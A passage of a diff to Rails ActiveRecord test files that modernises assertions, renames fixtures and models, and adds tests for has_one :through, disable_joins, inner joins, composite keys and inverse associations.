@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/club"
 require "models/member_type"
 require "models/member"
@@ -20,10 +23,12 @@
 require "models/carrier"
 require "models/shop_account"
 require "models/customer_carrier"
+require "models/cpk"
+require "models/dats"
 
 class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
-           :dashboards, :speedometers, :authors, :posts, :comments, :categories, :essays, :owners
+           :dashboards, :speedometers, :authors, :author_addresses, :posts, :comments, :categories, :essays, :owners
 
   def setup
     @member = members(:groucho)
@@ -33,6 +38,13 @@ def test_has_one_through_with_has_one
     assert_equal clubs(:boring_club), @member.club
   end
 
+  def test_has_one_through_executes_limited_query
+    boring_club = clubs(:boring_club)
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      assert_equal boring_club, @member.general_club
+    end
+  end
+
   def test_creating_association_creates_through_record
     new_member = Member.create(name: "Chris")
     new_member.club = Club.create(name: "LRUG")
@@ -40,6 +52,37 @@ def test_creating_association_creates_through_record
     assert_not_nil new_member.club
   end
 
+  def test_association_create_constructor_creates_through_record
+    new_member = Member.create(name: "Chris")
+    new_member.create_club
+    assert_not_nil new_member.current_membership
+    assert_not_nil new_member.club
+  end
+
+  def test_creating_association_builds_through_record
+    new_member = Member.create(name: "Chris")
+    new_club = new_member.association(:club).build
+    assert new_member.current_membership
+    assert_equal new_club, new_member.club
+    assert_predicate new_club, :new_record?
+    assert_predicate new_member.current_membership, :new_record?
+    assert new_member.save
+    assert_predicate new_club, :persisted?
+    assert_predicate new_member.current_membership, :persisted?
+  end
+
+  def test_association_build_constructor_builds_through_record
+    new_member = Member.create(name: "Chris")
+    new_club = new_member.build_club
+    assert new_member.current_membership
+    assert_equal new_club, new_member.club
+    assert_predicate new_club, :new_record?
+    assert_predicate new_member.current_membership, :new_record?
+    assert new_member.save
+    assert_predicate new_club, :persisted?
+    assert_predicate new_member.current_membership, :persisted?
+  end
+
   def test_creating_association_builds_through_record_for_new
     new_member = Member.new(name: "Jane")
     new_member.club = clubs(:moustache_club)
@@ -50,6 +93,32 @@ def test_creating_association_builds_through_record_for_new
     assert_equal clubs(:moustache_club), new_member.club
   end
 
+  def test_building_multiple_associations_builds_through_record
+    member_type = MemberType.create!
+    member = Member.create!
+    member_detail_with_one_association = MemberDetail.new(member_type: member_type)
+    assert_predicate member_detail_with_one_association.member, :new_record?
+    member_detail_with_two_associations = MemberDetail.new(member_type: member_type, admittable: member)
+    assert_predicate member_detail_with_two_associations.member, :new_record?
+  end
+
+  def test_building_works_with_has_one_through_belongs_to
+    new_member = Member.create!(name: "Joe")
+    new_member.create_current_membership!
+    new_club = new_member.build_club
+
+    assert_equal(new_member.club, new_club)
+  end
+
+  def test_creating_multiple_associations_creates_through_record
+    member_type = MemberType.create!
+    member = Member.create!
+    member_detail_with_one_association = MemberDetail.create!(member_type: member_type)
+    assert_not_predicate member_detail_with_one_association.member, :new_record?
+    member_detail_with_two_associations = MemberDetail.create!(member_type: member_type, admittable: member)
+    assert_not_predicate member_detail_with_two_associations.member, :new_record?
+  end
+
   def test_creating_association_sets_both_parent_ids_for_new
     member = Member.new(name: "Sean Griffin")
     club = Club.new(name: "Da Club")
@@ -98,7 +167,7 @@ def test_has_one_through_polymorphic
   end
 
   def test_has_one_through_eager_loading
-    members = assert_queries(3) do #base table, through table, clubs table
+    members = assert_queries_count(3) do # base table, through table, clubs table
       Member.all.merge!(includes: :club, where: ["name = ?", "Groucho Marx"]).to_a
     end
     assert_equal 1, members.size
@@ -106,7 +175,7 @@ def test_has_one_through_eager_loading
   end
 
   def test_has_one_through_eager_loading_through_polymorphic
-    members = assert_queries(3) do #base table, through table, clubs table
+    members = assert_queries_count(3) do # base table, through table, clubs table
       Member.all.merge!(includes: :sponsor_club, where: ["name = ?", "Groucho Marx"]).to_a
     end
     assert_equal 1, members.size
@@ -115,9 +184,9 @@ def test_has_one_through_eager_loading_through_polymorphic
 
   def test_has_one_through_with_conditions_eager_loading
     # conditions on the through table
-    assert_equal clubs(:moustache_club), Member.all.merge!(includes: :favourite_club).find(@member.id).favourite_club
-    memberships(:membership_of_favourite_club).update_columns(favourite: false)
-    assert_nil Member.all.merge!(includes: :favourite_club).find(@member.id).reload.favourite_club
+    assert_equal clubs(:moustache_club), Member.all.merge!(includes: :favorite_club).find(@member.id).favorite_club
+    memberships(:membership_of_favorite_club).update_columns(favorite: false)
+    assert_nil Member.all.merge!(includes: :favorite_club).find(@member.id).reload.favorite_club
 
     # conditions on the source table
     assert_equal clubs(:moustache_club), Member.all.merge!(includes: :hairy_club).find(@member.id).hairy_club
@@ -136,29 +205,29 @@ def test_eager_has_one_through_polymorphic_with_source_type
   end
 
   def test_has_one_through_nonpreload_eagerloading
-    members = assert_queries(1) do
-      Member.all.merge!(includes: :club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a #force fallback
+    members = assert_queries_count(1) do
+      Member.all.merge!(includes: :club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a # force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries { members[0].club }
   end
 
   def test_has_one_through_nonpreload_eager_loading_through_polymorphic
-    members = assert_queries(1) do
-      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a #force fallback
+    members = assert_queries_count(1) do
+      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a # force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries { members[0].sponsor_club }
   end
 
   def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
-    Sponsor.new(sponsor_club: clubs(:crazy_club), sponsorable: members(:groucho)).save!
-    members = assert_queries(1) do
-      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name DESC").to_a #force fallback
+    Sponsor.new(sponsor_club: clubs(:outrageous_club), sponsorable: members(:groucho)).save!
+    members = assert_queries_count(1) do
+      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name DESC").to_a # force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries { members[0].sponsor_club }
-    assert_equal clubs(:crazy_club), members[0].sponsor_club
+    assert_equal clubs(:outrageous_club), members[0].sponsor_club
   end
 
   def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
@@ -178,7 +247,9 @@ def test_has_one_through_proxy_should_not_respond_to_private_methods
 
   def test_has_one_through_proxy_should_respond_to_private_methods_via_send
     clubs(:moustache_club).send(:private_method)
-    @member.club.send(:private_method)
+    assert_nothing_raised do
+      @member.club.send(:private_method)
+    end
   end
 
   def test_assigning_to_has_one_through_preserves_decorated_join_record
@@ -223,11 +294,11 @@ def test_preloading_has_one_through_on_belongs_to
     @member_detail = MemberDetail.new
     @member.member_detail = @member_detail
     @member.organization = @organization
-    @member_details = assert_queries(3) do
+    @member_details = assert_queries_count(3) do
       MemberDetail.all.merge!(includes: :member_type).to_a
     end
     @new_detail = @member_details[0]
-    assert @new_detail.send(:association, :member_type).loaded?
+    assert_predicate @new_detail.send(:association, :member_type), :loaded?
     assert_no_queries { @new_detail.member_type }
   end
 
@@ -255,13 +326,13 @@ def test_through_belongs_to_after_destroy
 
     assert_not_nil @member_detail.member_type
     @member_detail.destroy
-    assert_queries(1) do
+    assert_queries_count(1) do
       @member_detail.association(:member_type).reload
       assert_not_nil @member_detail.member_type
     end
 
     @member_detail.member.destroy
-    assert_queries(1) do
+    assert_queries_count(1) do
       @member_detail.association(:member_type).reload
       assert_nil @member_detail.member_type
     end
@@ -315,12 +386,12 @@ def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_c
     minivan.dashboard
     proxy = minivan.send(:association_instance_get, :dashboard)
 
-    assert !proxy.stale_target?
+    assert_not_predicate proxy, :stale_target?
     assert_equal dashboards(:cool_first), minivan.dashboard
 
     minivan.speedometer_id = speedometers(:second).id
 
-    assert proxy.stale_target?
+    assert_predicate proxy, :stale_target?
     assert_equal dashboards(:second), minivan.dashboard
   end
 
@@ -332,7 +403,7 @@ def test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_tar
 
     minivan.speedometer_id = speedometers(:second).id
 
-    assert proxy.stale_target?
+    assert_predicate proxy, :stale_target?
     assert_equal dashboards(:second), minivan.dashboard
   end
 
@@ -387,4 +458,76 @@ def test_has_one_through_do_not_cache_association_reader_if_the_though_method_ha
   ensure
     CustomerCarrier.current_customer = nil
   end
+
+  def test_loading_cpk_association_with_unpersisted_owner
+    order = Cpk::Order.create!(shop_id: 1)
+    book = Cpk::BookWithOrderAgreements.new(id: [1, 2], order: order)
+    order_agreement = Cpk::OrderAgreement.create!(order: order)
+
+    assert_equal(order_agreement, book.order_agreement)
+  end
+
+  def test_cpk_stale_target
+    order = Cpk::Order.create!(shop_id: 1)
+    book = Cpk::BookWithOrderAgreements.create!(id: [1, 2], order: order)
+    Cpk::OrderAgreement.create!(order: order)
+
+    book.order_agreement
+    book.order = Cpk::Order.new
+
+    assert_predicate(book.association(:order_agreement), :stale_target?)
+  end
+end
+
+class DeprecatedHasOneThroughAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :authors, :author_addresses
+
+  setup do
+    @model = DATS::Author
+    @author = @model.new
+  end
+
+  test "the has_one itself is deprecated" do
+    assert_not_deprecated_association(:comment) do
+      @author.comment
+    end
+
+    assert_deprecated_association(:deprecated_has_one_through, context: context_for_method(:deprecated_has_one_through)) do
+      @author.deprecated_has_one_through
+    end
+  end
+
+  test "the through association is deprecated" do
+    assert_deprecated_association(:deprecated_post, context: context_for_through(:deprecated_through1)) do
+      @author.deprecated_through1
+    end
+  end
+
+  test "the source association is deprecated" do
+    assert_deprecated_association(:deprecated_comment, model: DATS::Post, context: context_for_through(:deprecated_source1)) do
+      @author.deprecated_source1
+    end
+  end
+
+  test "all deprecated" do
+    assert_deprecated_association(:deprecated_all1, context: context_for_method(:deprecated_all1)) do
+      @author.deprecated_all1
+    end
+
+    assert_deprecated_association(:deprecated_post, context: context_for_through(:deprecated_all1)) do
+      @author.deprecated_all1
+    end
+
+    assert_deprecated_association(:deprecated_comment, model: DATS::Post, context: context_for_through(:deprecated_all1)) do
+      @author.deprecated_all1
+    end
+  end
+
+  test "deprecated nested association" do
+    assert_deprecated_association(:deprecated_author_favorite, context: context_for_through(:deprecated_nested1)) do
+      @author.deprecated_nested1
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_through_disable_joins_associations_test.rb b/activerecord/test/cases/associations/has_one_through_disable_joins_associations_test.rb
new file mode 100644
index 0000000000000..b59d0c81ff53d
--- /dev/null
+++ b/activerecord/test/cases/associations/has_one_through_disable_joins_associations_test.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/member"
+require "models/member_detail"
+require "models/organization"
+require "models/project"
+require "models/developer"
+require "models/company"
+require "models/computer"
+require "models/contract"
+require "models/club"
+require "models/membership"
+
+class HasOneThroughDisableJoinsAssociationsTest < ActiveRecord::TestCase
+  fixtures :members, :organizations, :projects, :developers, :companies, :clubs, :memberships
+
+  def setup
+    @member = members(:groucho)
+    @organization = organizations(:discordians)
+    @member.organization = @organization
+    @member.save!
+    @member.reload
+  end
+
+  def test_counting_on_disable_joins_through
+    no_joins = capture_sql { @member.organization_without_joins }
+    joins = capture_sql { @member.organization }
+
+    assert_equal @member.organization, @member.organization_without_joins
+    assert_equal 2, no_joins.count
+    assert_equal 1, joins.count
+    assert_match(/INNER JOIN/, joins.first)
+    no_joins.each do |nj|
+      assert_no_match(/INNER JOIN/, nj)
+    end
+  end
+
+  def test_nil_on_disable_joins_through
+    member = members(:blarpy_winkup)
+    assert_nil assert_queries_count(1) { member.organization }
+    assert_nil assert_queries_count(1) { member.organization_without_joins }
+  end
+
+  def test_preload_on_disable_joins_through
+    members = Member.preload(:organization, :organization_without_joins).to_a
+    assert_no_queries { members[0].organization }
+    assert_no_queries { members[0].organization_without_joins }
+  end
+
+  def test_has_one_through_with_belongs_to_on_disable_joins
+    firm = Firm.create!(name: "Adequate Holdings")
+    project = Project.create!(name: "Project 1", firm: firm)
+    Developer.create!(name: "Gorbypuff", firm: firm)
+
+    joins = capture_sql { project.lead_developer }
+    no_joins = capture_sql { project.lead_developer_disable_joins }
+
+    assert_equal project.lead_developer, project.lead_developer_disable_joins
+    assert_equal 2, no_joins.count
+    assert_equal 1, joins.count
+    assert_match(/INNER JOIN/, joins.first)
+    no_joins.each do |nj|
+      assert_no_match(/INNER JOIN/, nj)
+    end
+  end
+
+  def test_disable_joins_through_with_enum_type
+    joins = capture_sql { @member.club }
+    no_joins = capture_sql { @member.club_without_joins }
+
+    assert_equal 1, joins.size
+    assert_equal 2, no_joins.size
+
+    assert_match(/INNER JOIN/, joins.first)
+    no_joins.each do |nj|
+      assert_no_match(/INNER JOIN/, nj)
+    end
+
+    assert_match(/#{Regexp.escape(quote_table_name("memberships.type"))}/, no_joins.first)
+  end
+end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index 7414869c8f233..b24a8d03f5626 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
@@ -8,14 +10,19 @@
 require "models/person"
 require "models/tagging"
 require "models/tag"
+require "models/sharded/blog_post"
+require "models/sharded/comment"
+require "models/friendship"
+require "models/reference"
+require "models/job"
 
 class InnerJoinAssociationTest < ActiveRecord::TestCase
-  fixtures :authors, :essays, :posts, :comments, :categories, :categories_posts, :categorizations,
-           :taggings, :tags
+  fixtures :authors, :author_addresses, :essays, :posts, :comments, :categories, :categories_posts, :categorizations,
+           :taggings, :tags, :people, :sharded_comments, :sharded_blog_posts
 
   def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
-    result = Author.joins(:thinking_posts, :welcome_posts).to_a
-    assert_equal authors(:david), result.first
+    result = Author.joins(:thinking_posts, :welcome_posts).first
+    assert_equal authors(:david), result
   end
 
   def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations
@@ -25,6 +32,75 @@ def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associati
     end
   end
 
+  def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations_with_left_outer_joins
+    sql = Person.joins(agents: :agents).left_outer_joins(agents: :agents).to_sql
+    assert_match(/agents_people_2/i, sql)
+    assert_match(/INNER JOIN/i, sql)
+    assert_no_match(/agents_people_4/i, sql)
+    assert_no_match(/LEFT OUTER JOIN/i, sql)
+  end
+
+  def test_construct_finder_sql_does_not_table_name_collide_with_string_joins
+    string_join = <<~SQL
+      JOIN people agents_people ON agents_people.primary_contact_id = agents_people_2.id AND agents_people.id > agents_people_2.id
+    SQL
+
+    expected = people(:susan)
+    assert_queries_match(/agents_people_2/i) do
+      assert_equal [expected], Person.joins(:agents).joins(string_join)
+    end
+  end
+
+  def test_construct_finder_sql_does_not_table_name_collide_with_aliased_joins
+    agents = Person.arel_table.alias("agents_people")
+    agents_2 = Person.arel_table.alias("agents_people_2")
+    constraint = agents[:primary_contact_id].eq(agents_2[:id]).and(agents[:id].gt(agents_2[:id]))
+
+    expected = people(:susan)
+    assert_queries_match(/agents_people_2/i) do
+      assert_equal [expected], Person.joins(:agents).joins(agents.create_join(agents, agents.create_on(constraint)))
+    end
+  end
+
+  def test_user_supplied_joins_order_should_be_preserved
+    string_join = <<~SQL
+      JOIN people agents_people_2 ON agents_people_2.primary_contact_id = people.id
+    SQL
+    agents = Person.arel_table.alias("agents_people")
+    agents_2 = Person.arel_table.alias("agents_people_2")
+    constraint = agents[:primary_contact_id].eq(agents_2[:id]).and(agents[:id].gt(agents_2[:id]))
+
+    expected = people(:susan)
+    assert_equal [expected], Person.joins(string_join).joins(agents.create_join(agents, agents.create_on(constraint)))
+  end
+
+  def test_deduplicate_joins
+    posts = Post.arel_table
+    constraint = posts[:author_id].eq(Author.arel_table[:id])
+
+    authors = Author.joins(posts.create_join(posts, posts.create_on(constraint)))
+    authors = authors.joins(:author_address).merge(authors.where("posts.type": "SpecialPost"))
+
+    assert_equal [authors(:david)], authors
+  end
+
+  def test_eager_load_with_string_joins
+    string_join = <<~SQL
+      LEFT JOIN people agents_people ON agents_people.primary_contact_id = agents_people_2.id AND agents_people.id > agents_people_2.id
+    SQL
+
+    assert_equal 3, Person.eager_load(:agents).joins(string_join).count
+  end
+
+  def test_eager_load_with_arel_joins
+    agents = Person.arel_table.alias("agents_people")
+    agents_2 = Person.arel_table.alias("agents_people_2")
+    constraint = agents[:primary_contact_id].eq(agents_2[:id]).and(agents[:id].gt(agents_2[:id]))
+    arel_join = agents.create_join(agents, agents.create_on(constraint), Arel::Nodes::OuterJoin)
+
+    assert_equal 3, Person.eager_load(:agents).joins(arel_join).count
+  end
+
   def test_construct_finder_sql_ignores_empty_joins_hash
     sql = Author.joins({}).to_sql
     assert_no_match(/JOIN/i, sql)
@@ -48,7 +124,12 @@ def test_join_association_conditions_support_string_and_arel_expressions
 
   def test_join_conditions_allow_nil_associations
     authors = Author.includes(:essays).where(essays: { id: nil })
-    assert_equal 2, authors.count
+    assert_equal 1, authors.count
+  end
+
+  def test_join_with_reserved_word
+    assert_equal [categories_posts(:technology_welcome)],
+      Post::CategoryPost.joins(:group).where("group.id": categories(:technology))
   end
 
   def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
@@ -59,19 +140,19 @@ def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
 
   def test_find_with_implicit_inner_joins_honors_readonly_with_select
     authors = Author.joins(:posts).select("authors.*").to_a
-    assert !authors.empty?, "expected authors to be non-empty"
+    assert_not authors.empty?, "expected authors to be non-empty"
     assert authors.all? { |a| !a.readonly? }, "expected no authors to be readonly"
   end
 
   def test_find_with_implicit_inner_joins_honors_readonly_false
     authors = Author.joins(:posts).readonly(false).to_a
-    assert !authors.empty?, "expected authors to be non-empty"
+    assert_not authors.empty?, "expected authors to be non-empty"
     assert authors.all? { |a| !a.readonly? }, "expected no authors to be readonly"
   end
 
   def test_find_with_implicit_inner_joins_does_not_set_associations
     authors = Author.joins(:posts).select("authors.*").to_a
-    assert !authors.empty?, "expected authors to be non-empty"
+    assert_not authors.empty?, "expected authors to be non-empty"
     assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
   end
 
@@ -95,19 +176,19 @@ def test_find_with_sti_join
     scope = Post.joins(:special_comments).where(id: posts(:sti_comments).id)
 
     # The join should match SpecialComment and its subclasses only
-    assert scope.where("comments.type" => "Comment").empty?
-    assert !scope.where("comments.type" => "SpecialComment").empty?
-    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+    assert_empty scope.where("comments.type" => "Comment")
+    assert_not_empty scope.where("comments.type" => "SpecialComment")
+    assert_not_empty scope.where("comments.type" => "SubSpecialComment")
   end
 
   def test_find_with_conditions_on_reflection
-    assert !posts(:welcome).comments.empty?
-    assert Post.joins(:nonexistent_comments).where(id: posts(:welcome).id).empty? # [sic!]
+    assert_not_empty posts(:welcome).comments
+    assert_predicate Post.joins(:nonexistent_comments).where(id: posts(:welcome).id), :empty? # [sic!]
   end
 
   def test_find_with_conditions_on_through_reflection
-    assert !posts(:welcome).tags.empty?
-    assert Post.joins(:misc_tags).where(id: posts(:welcome).id).empty?
+    assert_not_empty posts(:welcome).tags
+    assert_empty Post.joins(:misc_tags).where(id: posts(:welcome).id)
   end
 
   test "the default scope of the target is applied when joining associations" do
@@ -136,4 +217,28 @@ def test_find_with_conditions_on_through_reflection
     assert_equal 0, categories.first.special_categorizations.size
     assert_equal 1, categories.second.special_categorizations.size
   end
+
+  test "joins a belongs_to association with a composite foreign key" do
+    first_post_comments = Sharded::Comment.joins(:blog_post).where(blog_post: { title: "My first post in my Blog1!" }).to_a
+    expected_blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    assert_not_empty comments
+    assert_equal(expected_blog_post.comments.to_a.sort, first_post_comments.sort)
+  end
+
+  test "joins a has_many association with a composite foreign key" do
+    blog_posts = Sharded::BlogPost.joins(:comments).where(comments: { body: "Your first blog post is great!" }).to_a
+
+    expected_comment = sharded_comments(:unique_comment_blog_post_one)
+
+    assert_not_empty blog_posts
+    assert_equal(expected_comment.blog_post, blog_posts.first)
+  end
+
+  def test_inner_joins_includes_all_nested_associations
+    sql, = capture_sql { Friendship.joins(:friend_favorite_reference_job, :follower_favorite_reference_job).to_a }
+
+    assert_match %r(#{Regexp.escape(quote_table_name("friendships.friend_id"))}), sql
+    assert_match %r(#{Regexp.escape(quote_table_name("friendships.follower_id"))}), sql
+  end
 end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index 287b3e9ebc3b9..5e1e6efa02ed7 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/man"
+require "models/human"
 require "models/face"
 require "models/interest"
 require "models/zine"
 require "models/club"
 require "models/sponsor"
 require "models/rating"
+require "models/post"
 require "models/comment"
 require "models/car"
 require "models/bulb"
@@ -16,29 +19,35 @@
 require "models/developer"
 require "models/company"
 require "models/project"
+require "models/author"
+require "models/user"
+require "models/room"
+require "models/contract"
+require "models/subscription"
+require "models/subscriber"
+require "models/book"
+require "models/branch"
+require "models/cpk"
 
 class AutomaticInverseFindingTests < ActiveRecord::TestCase
-  fixtures :ratings, :comments, :cars
+  fixtures :ratings, :comments, :cars, :books
 
   def test_has_one_and_belongs_to_should_find_inverse_automatically_on_multiple_word_name
-    monkey_reflection = MixedCaseMonkey.reflect_on_association(:man)
-    man_reflection = Man.reflect_on_association(:mixed_case_monkey)
+    monkey_reflection = MixedCaseMonkey.reflect_on_association(:human)
+    human_reflection = Human.reflect_on_association(:mixed_case_monkey)
 
-    assert_respond_to monkey_reflection, :has_inverse?
-    assert monkey_reflection.has_inverse?, "The monkey reflection should have an inverse"
-    assert_equal man_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the man reflection"
+    assert_predicate monkey_reflection, :has_inverse?, "The monkey reflection should have an inverse"
+    assert_equal human_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the human reflection"
 
-    assert_respond_to man_reflection, :has_inverse?
-    assert man_reflection.has_inverse?, "The man reflection should have an inverse"
-    assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
+    assert_predicate human_reflection, :has_inverse?, "The human reflection should have an inverse"
+    assert_equal monkey_reflection, human_reflection.inverse_of, "The human reflection's inverse should be the monkey reflection"
   end
 
   def test_has_many_and_belongs_to_should_find_inverse_automatically_for_model_in_module
     account_reflection = Admin::Account.reflect_on_association(:users)
     user_reflection = Admin::User.reflect_on_association(:account)
 
-    assert_respond_to account_reflection, :has_inverse?
-    assert account_reflection.has_inverse?, "The Admin::Account reflection should have an inverse"
+    assert_predicate account_reflection, :has_inverse?, "The Admin::Account reflection should have an inverse"
     assert_equal user_reflection, account_reflection.inverse_of, "The Admin::Account reflection's inverse should be the Admin::User reflection"
   end
 
@@ -46,12 +55,10 @@ def test_has_one_and_belongs_to_should_find_inverse_automatically
     car_reflection = Car.reflect_on_association(:bulb)
     bulb_reflection = Bulb.reflect_on_association(:car)
 
-    assert_respond_to car_reflection, :has_inverse?
-    assert car_reflection.has_inverse?, "The Car reflection should have an inverse"
+    assert_predicate car_reflection, :has_inverse?, "The Car reflection should have an inverse"
     assert_equal bulb_reflection, car_reflection.inverse_of, "The Car reflection's inverse should be the Bulb reflection"
 
-    assert_respond_to bulb_reflection, :has_inverse?
-    assert bulb_reflection.has_inverse?, "The Bulb reflection should have an inverse"
+    assert_predicate bulb_reflection, :has_inverse?, "The Bulb reflection should have an inverse"
     assert_equal car_reflection, bulb_reflection.inverse_of, "The Bulb reflection's inverse should be the Car reflection"
   end
 
@@ -59,11 +66,100 @@ def test_has_many_and_belongs_to_should_find_inverse_automatically
     comment_reflection = Comment.reflect_on_association(:ratings)
     rating_reflection = Rating.reflect_on_association(:comment)
 
-    assert_respond_to comment_reflection, :has_inverse?
-    assert comment_reflection.has_inverse?, "The Comment reflection should have an inverse"
+    assert_predicate comment_reflection, :has_inverse?, "The Comment reflection should have an inverse"
     assert_equal rating_reflection, comment_reflection.inverse_of, "The Comment reflection's inverse should be the Rating reflection"
   end
 
+  def test_has_many_and_belongs_to_should_find_inverse_automatically_for_extension_block
+    comment_reflection = Comment.reflect_on_association(:post)
+    post_reflection = Post.reflect_on_association(:comments)
+
+    assert_predicate post_reflection, :has_inverse?
+    assert_equal comment_reflection, post_reflection.inverse_of
+  end
+
+  def test_has_many_and_belongs_to_should_find_inverse_automatically_for_sti
+    author_reflection = Author.reflect_on_association(:posts)
+    author_child_reflection = Author.reflect_on_association(:special_posts)
+    post_reflection = Post.reflect_on_association(:author)
+
+    assert_respond_to author_reflection, :has_inverse?
+    assert_predicate author_reflection, :has_inverse?, "The Author reflection should have an inverse"
+    assert_equal post_reflection, author_reflection.inverse_of, "The Author reflection's inverse should be the Post reflection"
+
+    assert_respond_to author_child_reflection, :has_inverse?
+    assert_predicate author_child_reflection, :has_inverse?, "The Author reflection should have an inverse"
+    assert_equal post_reflection, author_child_reflection.inverse_of, "The Author reflection's inverse should be the Post reflection"
+  end
+
+  def test_has_one_and_belongs_to_with_non_default_foreign_key_should_not_find_inverse_automatically
+    user = User.create!
+    owned_room = Room.create!(owner: user)
+
+    assert_nil user.room
+    assert_nil owned_room.user
+
+    assert_equal user, owned_room.owner
+    assert_equal owned_room, user.owned_room
+  end
+
+  def test_has_one_and_belongs_to_with_custom_association_name_should_not_find_wrong_inverse_automatically
+    user_reflection = Room.reflect_on_association(:user)
+    owner_reflection = Room.reflect_on_association(:owner)
+    room_reflection = User.reflect_on_association(:room)
+
+    assert_predicate user_reflection, :has_inverse?
+    assert_equal room_reflection, user_reflection.inverse_of
+
+    assert_not_predicate owner_reflection, :has_inverse?
+    assert_not_equal room_reflection, owner_reflection.inverse_of
+  end
+
+  def test_has_many_and_belongs_to_with_a_scope_and_automatic_scope_inversing_should_find_inverse_automatically
+    contacts_reflection = Company.reflect_on_association(:special_contracts)
+    company_reflection = SpecialContract.reflect_on_association(:company)
+
+    assert contacts_reflection.scope
+    assert_not company_reflection.scope
+
+    with_automatic_scope_inversing(contacts_reflection, company_reflection) do
+      assert_predicate contacts_reflection, :has_inverse?
+      assert_equal company_reflection, contacts_reflection.inverse_of
+      assert_not_equal contacts_reflection, company_reflection.inverse_of
+    end
+  end
+
+  def test_has_one_and_belongs_to_with_a_scope_and_automatic_scope_inversing_should_find_inverse_automatically
+    post_reflection = Author.reflect_on_association(:recent_post)
+    author_reflection = Post.reflect_on_association(:author)
+
+    assert post_reflection.scope
+    assert_not author_reflection.scope
+
+    with_automatic_scope_inversing(post_reflection, author_reflection) do
+      assert_predicate post_reflection, :has_inverse?
+      assert_equal author_reflection, post_reflection.inverse_of
+      assert_not_equal post_reflection, author_reflection.inverse_of
+    end
+  end
+
+  def test_has_many_with_scoped_belongs_to_does_not_find_inverse_automatically
+    book = books(:tlg)
+    book.update_attribute(:author_visibility, :invisible)
+
+    assert_nil book.subscriptions.new.book
+
+    subscription_reflection = Book.reflect_on_association(:subscriptions)
+    book_reflection = Subscription.reflect_on_association(:book)
+
+    assert_not subscription_reflection.scope
+    assert book_reflection.scope
+
+    with_automatic_scope_inversing(book_reflection, subscription_reflection) do
+      assert_nil book.subscriptions.new.book
+    end
+  end
+
   def test_has_one_and_belongs_to_automatic_inverse_shares_objects
     car = Car.first
     bulb = Bulb.create!(car: car)
@@ -104,27 +200,46 @@ def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_comment
     assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
   end
 
+  def test_belongs_to_should_find_inverse_has_many_automatically
+    assert_equal true, Subscription.automatically_invert_plural_associations
+
+    book = Book.create!
+    subscriber = book.subscribers.new nick: "Nickname"
+
+    subscriber.save!
+
+    assert_equal [subscriber], book.reload.subscribers
+    assert_equal 1, book.reload.subscribers.count
+  end
+
   def test_polymorphic_and_has_many_through_relationships_should_not_have_inverses
     sponsor_reflection = Sponsor.reflect_on_association(:sponsorable)
 
-    assert_respond_to sponsor_reflection, :has_inverse?
-    assert !sponsor_reflection.has_inverse?, "A polymorphic association should not find an inverse automatically"
+    assert_not sponsor_reflection.has_inverse?, "A polymorphic association should not find an inverse automatically"
 
     club_reflection = Club.reflect_on_association(:members)
 
-    assert_respond_to club_reflection, :has_inverse?
-    assert !club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
+    assert_not club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
   end
 
-  def test_polymorphic_relationships_should_still_not_have_inverses_when_non_polymorphic_relationship_has_the_same_name
-    man_reflection = Man.reflect_on_association(:polymorphic_face_without_inverse)
-    face_reflection = Face.reflect_on_association(:man)
+  def test_polymorphic_has_one_should_find_inverse_automatically
+    human_reflection = Human.reflect_on_association(:polymorphic_face_without_inverse)
+
+    assert_predicate human_reflection, :has_inverse?
+  end
+
+  def test_has_many_inverse_of_derived_automatically_despite_of_composite_foreign_key
